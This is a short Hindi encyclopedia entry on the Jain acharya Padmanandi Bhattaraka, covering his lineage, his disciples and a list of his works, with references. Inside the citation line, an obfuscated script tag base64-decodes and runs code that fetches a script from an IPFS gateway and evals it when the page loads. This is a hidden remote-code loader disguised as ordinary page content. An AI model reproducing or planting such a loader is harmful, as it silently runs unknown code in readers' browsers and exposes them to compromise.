पद्मनंदि भट्टारक

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पद्मनंदि भट्टारक मूलसंघ स्थित नन्दिसंघ और सरस्वती गच्छ के आचार्य थे। ये प्रभाचन्द्र के श्रेष्ठ शिष्यों में से एक थे। इनका समय ई. 13वीं शताब्दी के आसपास था।

  • पद्मनंदि भट्टारक जाति से ब्राह्मण थे।
  • इनके प्रमुख शिष्यों में 'मदन देव', 'नयनन्दि' और 'मदन कीर्ति' प्रमुख थे।
  • पद्मनंदि ने कई महत्त्वपूर्ण रचनाएँ की हैं, जिनमें से प्रमुख हैं-
  1. जीरापल्ली पार्श्वनाथ स्तवन (10 पद्म)
  2. भावना पद्धति (34 पद्म)
  3. श्रावकाचारसारोद्धार (तीन परिच्छेद)
  4. अनन्तप्रतकथा (85 पद्म) और
  5. वर्ध्दमानचरित (300 पद्म)।[1]


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टीका टिप्पणी और संदर्भ

भारतीय संस्कृति कोश, भाग-2 |प्रकाशक: यूनिवर्सिटी पब्लिकेशन, नई दिल्ली-110002 |संपादन: प्रोफ़ेसर देवेन्द्र मिश्र |पृष्ठ संख्या: 468 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  1. सं.वा.को. (द्वि.ख.), श्री.भा.व., पृष्ठ 363

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